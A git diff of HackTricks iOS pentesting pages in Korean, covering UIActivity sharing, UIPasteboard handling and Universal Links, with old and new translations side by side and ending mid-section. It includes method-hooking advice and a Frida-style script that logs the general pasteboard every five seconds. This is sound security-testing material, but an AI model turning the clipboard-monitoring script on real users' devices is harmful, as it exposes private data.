* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# UIActivity 공유 간소화
|
# UIActivity Sharing Simplified
|
||||||
|
|
||||||
iOS 6부터 제3자 애플리케이션은 AirDrop과 같은 메커니즘을 사용하여 텍스트, URL 또는 이미지와 같은 **데이터를 공유**할 수 있도록 활성화되었습니다. 이 기능은 "공유" 버튼과 상호 작용할 때 나타나는 시스템 전체의 _공유 활동 시트_를 통해 표시됩니다.
|
iOS 6부터, 서드파티 애플리케이션은 Apple의 [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3)에서 설명된 대로 AirDrop과 같은 메커니즘을 사용하여 텍스트, URL 또는 이미지와 같은 **데이터를 공유**할 수 있게 되었습니다. 이 기능은 "공유" 버튼과 상호작용할 때 나타나는 시스템 전체의 _공유 활동 시트_를 통해 구현됩니다.
|
||||||
|
|
||||||
내장된 모든 공유 옵션의 포괄적인 열거는 [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)에서 확인할 수 있습니다. 개발자는 애플리케이션에 적합하지 않다고 판단되는 특정 공유 옵션을 제외할 수도 있습니다.
|
모든 내장 공유 옵션의 포괄적인 열거는 [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)에서 확인할 수 있습니다. 개발자는 애플리케이션에 적합하지 않다고 판단되는 특정 공유 옵션을 제외할 수 있습니다.
|
||||||
|
|
||||||
## **데이터 공유 방법**
|
## **데이터 공유 방법**
|
||||||
|
|
||||||
주의해야 할 사항:
|
다음 사항에 주의를 기울여야 합니다:
|
||||||
|
|
||||||
- 공유되는 데이터의 성격.
|
- 공유되는 데이터의 성격.
|
||||||
- 사용자 정의 활동의 포함.
|
- 사용자 정의 활동의 포함.
|
||||||
- 특정 활동 유형의 제외.
|
- 특정 활동 유형의 제외.
|
||||||
|
|
||||||
공유는 공유할 항목이 전달되는 `UIActivityViewController`의 인스턴스화를 통해 용이하게 이루어집니다. 이는 다음을 호출하여 달성됩니다:
|
공유는 `UIActivityViewController`의 인스턴스를 생성하여 촉진되며, 공유할 항목이 전달됩니다. 이는 다음과 같이 호출하여 달성됩니다:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||||
```
|
```
|
||||||
개발자는 `UIActivityViewController`를 조사해야 합니다. 이는 초기화된 활동 및 사용자 정의 활동, 그리고 지정된 `excludedActivityTypes`를 포함합니다.
|
개발자는 `UIActivityViewController`에서 초기화된 활동 및 사용자 정의 활동과 지정된 `excludedActivityTypes`를 면밀히 검토해야 합니다.
|
||||||
|
|
||||||
## **데이터 수신 방법**
|
## **데이터 수신 방법**
|
||||||
|
|
||||||
다음 측면들은 데이터 수신 시 중요합니다:
|
데이터를 수신할 때 다음 사항이 중요합니다:
|
||||||
|
|
||||||
- **사용자 정의 문서 유형**의 선언.
|
- **사용자 정의 문서 유형**의 선언.
|
||||||
- 앱이 열 수 있는 **문서 유형의 지정**.
|
- **앱이 열 수 있는 문서 유형**의 명시.
|
||||||
- 수신된 데이터의 **무결성 검증**.
|
- **수신된 데이터의 무결성** 확인.
|
||||||
|
|
||||||
소스 코드에 접근할 수 없는 경우에도 `Info.plist`를 검사하여 `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, `CFBundleDocumentTypes`와 같은 키를 확인하여 앱이 처리하고 선언할 수 있는 문서 유형을 이해할 수 있습니다.
|
소스 코드에 접근할 수 없더라도 `Info.plist`에서 `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, `CFBundleDocumentTypes`와 같은 키를 검사하여 앱이 처리하고 선언할 수 있는 문서 유형을 이해할 수 있습니다.
|
||||||
|
|
||||||
이러한 키에 대한 간결한 가이드는 [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)에서 제공되며, 시스템 전체에서 인식할 수 있도록 UTI를 정의하고 문서 유형을 "열기" 대화 상자에 통합하는 것의 중요성을 강조합니다.
|
이 키에 대한 간결한 가이드는 [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)에서 확인할 수 있으며, 시스템 전반에 걸쳐 UTI를 정의하고 가져오는 것의 중요성과 "Open With" 대화 상자에서 문서 유형을 앱과 연관시키는 방법을 강조합니다.
|
||||||
|
|
||||||
## 동적 테스트 접근 방식
|
## 동적 테스트 접근법
|
||||||
|
|
||||||
**활동 전송**을 테스트하기 위해 다음을 수행할 수 있습니다:
|
**보내는 활동**을 테스트하기 위해서는:
|
||||||
|
|
||||||
- `init(activityItems:applicationActivities:)` 메서드에 후킹하여 공유되는 항목과 활동을 캡처합니다.
|
- `init(activityItems:applicationActivities:)` 메서드에 후킹하여 공유되는 항목과 활동을 캡처합니다.
|
||||||
- `excludedActivityTypes` 속성을 가로채어 제외된 활동을 식별합니다.
|
- `excludedActivityTypes` 속성을 가로채어 제외된 활동을 식별합니다.
|
||||||
|
|
||||||
**항목 수신**을 위해서는 다음이 필요합니다:
|
**항목 수신**은 다음을 포함합니다:
|
||||||
|
|
||||||
- 다른 소스(예: AirDrop, 이메일)에서 앱과 파일을 공유하여 "열기" 대화 상자를 띄웁니다.
|
- 다른 소스(예: AirDrop, 이메일)에서 앱으로 파일을 공유하여 "Open with..." 대화 상자를 유도합니다.
|
||||||
- 정적 분석 중 식별된 `application:openURL:options:` 등의 메서드를 후킹하여 앱의 응답을 관찰합니다.
|
- 정적 분석 중 식별된 다른 메서드와 함께 `application:openURL:options:`에 후킹하여 앱의 반응을 관찰합니다.
|
||||||
- 잘못된 파일이나 퍼징 기법을 사용하여 앱의 견고성을 평가합니다.
|
- 잘못된 형식의 파일이나 퍼징 기법을 사용하여 앱의 견고성을 평가합니다.
|
||||||
|
|
||||||
## 참고 자료
|
## 참고 문헌
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,55 +1,57 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
iOS 기기에서 애플리케이션 간 및 내에서 데이터 공유는 [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) 메커니즘을 통해 이루어지며, 이는 다음 두 가지 주요 범주로 나뉩니다:
|
|
||||||
|
|
||||||
- **시스템 전역 클립보드**: **모든 애플리케이션과 데이터를 공유**하기 위해 사용되며, iOS 10부터 제공되는 기능으로 데이터를 장치 재부팅 및 앱 삭제 후에도 유지할 수 있도록 설계되었습니다.
|
iOS 기기에서 애플리케이션 간 데이터 공유는 [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) 메커니즘에 의해 촉진되며, 이는 두 가지 주요 범주로 나뉩니다:
|
||||||
- **사용자 지정 / 이름 지정된 클립보드**: **앱 내 또는 동일한 팀 ID를 공유하는 다른 앱과 데이터를 공유**하기 위해 특별히 설계되었으며, iOS 10에서 소개된 변경 사항에 따라 생성한 애플리케이션 프로세스의 수명을 넘어서 지속되지 않도록 설계되었습니다.
|
|
||||||
|
|
||||||
**보안 고려 사항**은 클립보드를 활용할 때 중요한 역할을 합니다. 예를 들어:
|
- **시스템 전체 일반 붙여넣기 보드**: 이는 **모든 애플리케이션**과 데이터를 공유하는 데 사용되며, 장치 재시작 및 앱 제거 후에도 데이터를 지속적으로 유지하도록 설계되었습니다. 이 기능은 iOS 10부터 제공됩니다.
|
||||||
- 사용자가 **클립보드에 액세스하는 앱 권한을 관리하는 메커니즘**이 없습니다.
|
- **사용자 정의 / 명명된 붙여넣기 보드**: 이는 **앱 내에서 또는 동일한 팀 ID를 공유하는 다른 앱과** 데이터를 공유하기 위해 특별히 설계되었으며, 이를 생성하는 애플리케이션 프로세스의 수명 이상으로 지속되도록 설계되지 않았습니다. 이는 iOS 10에서 도입된 변경 사항을 따릅니다.
|
||||||
- 클립보드의 무단 백그라운드 모니터링 위험을 완화하기 위해, 애플리케이션이 포그라운드에 있을 때만 액세스가 제한됩니다(iOS 9부터).
|
|
||||||
- 개인 정보 보호 문제로 인해 지속적인 이름이 지정된 클립보드 사용이 권장되지 않습니다.
|
|
||||||
- iOS 10에서 소개된 **Universal Clipboard** 기능은 개발자가 데이터 만료 및 자동 콘텐츠 전송 비활성화를 설정할 수 있도록 관리할 수 있습니다.
|
|
||||||
|
|
||||||
**민감한 정보가 실수로 저장되지 않도록** 시스템 전역 클립보드에 주의를 기울이는 것이 중요합니다. 또한 애플리케이션은 시스템 전역 클립보드 데이터가 의도하지 않은 작업에 사용되는 것을 방지하도록 설계되어야 하며, 개발자는 민감한 정보가 클립보드로 복사되는 것을 방지하기 위한 조치를 구현할 것을 권장합니다.
|
**보안 고려사항**은 붙여넣기 보드를 사용할 때 중요한 역할을 합니다. 예를 들어:
|
||||||
|
- 사용자가 **붙여넣기 보드**에 접근할 앱 권한을 관리할 수 있는 메커니즘이 없습니다.
|
||||||
|
- 붙여넣기 보드에 대한 무단 배경 모니터링 위험을 완화하기 위해, 접근은 애플리케이션이 전경에 있을 때로 제한됩니다(이것은 iOS 9부터).
|
||||||
|
- 개인 정보 보호 문제로 인해 지속적인 명명된 붙여넣기 보드의 사용은 공유 컨테이너를 선호합니다.
|
||||||
|
- iOS 10에서 도입된 **유니버설 클립보드** 기능은 일반 붙여넣기 보드를 통해 장치 간 콘텐츠를 공유할 수 있게 하며, 개발자는 데이터 만료를 설정하고 자동 콘텐츠 전송을 비활성화할 수 있습니다.
|
||||||
|
|
||||||
|
**민감한 정보가 우연히** 전역 붙여넣기 보드에 저장되지 않도록 하는 것이 중요합니다. 또한, 애플리케이션은 전역 붙여넣기 보드 데이터를 의도하지 않은 작업에 악용되지 않도록 설계되어야 하며, 개발자는 민감한 정보를 클립보드에 복사하는 것을 방지하기 위한 조치를 구현하도록 권장됩니다.
|
||||||
|
|
||||||
### 정적 분석
|
### 정적 분석
|
||||||
|
|
||||||
정적 분석을 위해 소스 코드 또는 이진 파일에서 다음을 검색하세요:
|
정적 분석을 위해 소스 코드나 바이너리에서 다음을 검색합니다:
|
||||||
- **시스템 전역 클립보드** 사용을 식별하기 위해 `generalPasteboard`를 검색합니다.
|
- `generalPasteboard`는 **시스템 전체 일반 붙여넣기 보드**의 사용을 식별합니다.
|
||||||
- **사용자 지정 클립보드**를 생성하기 위해 `pasteboardWithName:create:` 및 `pasteboardWithUniqueName`을 검색합니다. 지속성이 활성화되어 있는지 확인하십시오(이는 폐기된 기능입니다).
|
- `pasteboardWithName:create:` 및 `pasteboardWithUniqueName`은 **사용자 정의 붙여넣기 보드** 생성을 위한 것입니다. 지속성이 활성화되어 있는지 확인합니다. 그러나 이는 더 이상 사용되지 않습니다.
|
||||||
|
|
||||||
### 동적 분석
|
### 동적 분석
|
||||||
|
|
||||||
동적 분석은 특정 메서드를 후킹하거나 추적하는 것을 포함합니다:
|
동적 분석은 특정 메서드를 후킹하거나 추적하는 것을 포함합니다:
|
||||||
- 시스템 전역 사용을 위해 `generalPasteboard`를 모니터링합니다.
|
- 시스템 전체 사용을 위해 `generalPasteboard`를 모니터링합니다.
|
||||||
- 사용자 정의 구현을 위해 `pasteboardWithName:create:` 및 `pasteboardWithUniqueName`을 추적합니다.
|
- 사용자 정의 구현을 위해 `pasteboardWithName:create:` 및 `pasteboardWithUniqueName`을 추적합니다.
|
||||||
- 지속성 설정을 확인하기 위해 폐기된 `setPersistent:` 메서드 호출을 관찰합니다.
|
- 지속성 설정을 확인하기 위해 더 이상 사용되지 않는 `setPersistent:` 메서드 호출을 관찰합니다.
|
||||||
|
|
||||||
모니터링해야 할 주요 세부 정보는 다음과 같습니다:
|
모니터링해야 할 주요 세부 사항은 다음과 같습니다:
|
||||||
- **클립보드 이름** 및 **콘텐츠** (예: 문자열, URL, 이미지 확인).
|
- **붙여넣기 보드 이름** 및 **내용**(예: 문자열, URL, 이미지 확인).
|
||||||
- 표준 및 사용자 지정 데이터 유형 확인을 활용하여 존재하는 **항목 수** 및 **데이터 유형**.
|
- 존재하는 **항목 수** 및 **데이터 유형**, 표준 및 사용자 정의 데이터 유형 검사를 활용합니다.
|
||||||
- `setItems:options:` 메서드를 검사하여 **만료 및 로컬 전용 옵션** 확인.
|
- `setItems:options:` 메서드를 검사하여 **만료 및 로컬 전용 옵션**을 확인합니다.
|
||||||
|
|
||||||
**objection의 클립보드 모니터**를 사용한 모니터링 도구 사용 예는 시스템 전역 클립보드를 5초마다 변경 사항을 확인하고 새 데이터를 출력하는 것입니다.
|
모니터링 도구 사용의 예는 **objection의 붙여넣기 보드 모니터**로, 일반 붙여넣기 보드를 5초마다 변경 사항을 확인하고 새로운 데이터를 출력합니다.
|
||||||
|
|
||||||
다음은 objection의 방법을 영감받은 간단한 JavaScript 스크립트 예제로, 5초마다 클립보드에서 변경 사항을 읽고 기록하는 것입니다:
|
다음은 objection의 접근 방식에서 영감을 받은 간단한 JavaScript 스크립트 예제로, 붙여넣기 보드의 변경 사항을 5초마다 읽고 기록합니다:
|
||||||
```javascript
|
```javascript
|
||||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||||
|
@ -73,7 +75,7 @@ console.log(items);
|
||||||
|
|
||||||
}, 1000 * 5);
|
}, 1000 * 5);
|
||||||
```
|
```
|
||||||
## 참고 자료
|
## References
|
||||||
|
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||||
|
@ -84,16 +86,17 @@ console.log(items);
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,31 @@
|
||||||
# iOS Universal Links
|
# iOS Universal Links
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
## 소개
|
## Introduction
|
||||||
|
|
||||||
Universal links는 사용자에게 앱에서 콘텐츠를 직접 열어주어 Safari 리디렉션 필요를 우회하여 **원활한 리디렉션** 경험을 제공합니다. 이러한 링크는 다른 앱에서 요청할 수 없도록 **고유하고 안전**하며, 웹사이트의 루트 디렉토리에 `apple-app-site-association` JSON 파일을 호스팅하여 웹사이트와 앱 간의 검증 가능한 링크를 설정함으로써 보장됩니다. 앱이 설치되지 않은 경우 Safari가 사용자를 웹페이지로 안내하여 앱의 존재를 유지합니다.
|
유니버설 링크는 사용자가 Safari 리디렉션을 우회하여 앱에서 직접 콘텐츠를 열 수 있도록 하여 **매끄러운 리디렉션** 경험을 제공합니다. 이러한 링크는 **고유**하고 안전하며, 다른 앱에서 주장할 수 없습니다. 이는 웹사이트의 루트 디렉토리에 `apple-app-site-association` JSON 파일을 호스팅하여 웹사이트와 앱 간의 검증 가능한 링크를 설정함으로써 보장됩니다. 앱이 설치되지 않은 경우 Safari가 사용자에게 웹페이지로 안내하여 앱의 존재를 유지합니다.
|
||||||
|
|
||||||
펜 테스터들에게는 `apple-app-site-association` 파일이 특히 흥미로울 수 있으며, 이 파일은 미발표 기능과 관련된 경로를 포함할 수 있는 **민감한 경로**를 드러낼 수 있습니다.
|
침투 테스터에게 `apple-app-site-association` 파일은 **민감한 경로**를 드러낼 수 있기 때문에 특히 관심이 있습니다. 여기에는 출시되지 않은 기능과 관련된 경로가 포함될 수 있습니다.
|
||||||
|
|
||||||
### **연결된 도메인 권한 분석**
|
### **연관 도메인 권한 분석**
|
||||||
|
|
||||||
개발자는 Xcode의 기능 탭에서 **연결된 도메인**을 구성하거나 `.entitlements` 파일을 검사하여 Universal Links를 활성화합니다. 각 도메인은 `applinks:`로 접두사가 붙습니다. 예를 들어, 텔레그램의 구성은 다음과 같이 나타날 수 있습니다:
|
개발자는 Xcode의 Capabilities 탭에서 **연관 도메인**을 구성하거나 `.entitlements` 파일을 검사하여 유니버설 링크를 활성화합니다. 각 도메인은 `applinks:`로 접두사가 붙습니다. 예를 들어, 텔레그램의 구성은 다음과 같이 나타날 수 있습니다:
|
||||||
```xml
|
```xml
|
||||||
<key>com.apple.developer.associated-domains</key>
|
<key>com.apple.developer.associated-domains</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -32,17 +33,21 @@ Universal links는 사용자에게 앱에서 콘텐츠를 직접 열어주어 Sa
|
||||||
<string>applinks:t.me</string>
|
<string>applinks:t.me</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
### **Apple App 사이트 연합 협회 파일 검색**
|
더 포괄적인 통찰력을 원하시면 [보관된 Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2)을 참조하세요.
|
||||||
|
|
||||||
`apple-app-site-association` 파일은 권한에 지정된 도메인을 사용하여 서버에서 검색되어야 합니다. 파일은 `https://<도메인>/apple-app-site-association`에서 직접 액세스할 수 있어야 합니다. [Apple App 사이트 협회 (AASA) Validator](https://branch.io/resources/aasa-validator/)와 같은 도구는이 프로세스를 지원할 수 있습니다.
|
컴파일된 애플리케이션을 사용하는 경우, [이 가이드](extracting-entitlements-from-compiled-application.md)에 설명된 대로 권한을 추출할 수 있습니다.
|
||||||
|
|
||||||
### **앱에서 Universal 링크 처리**
|
### **Apple App Site Association 파일 가져오기**
|
||||||
|
|
||||||
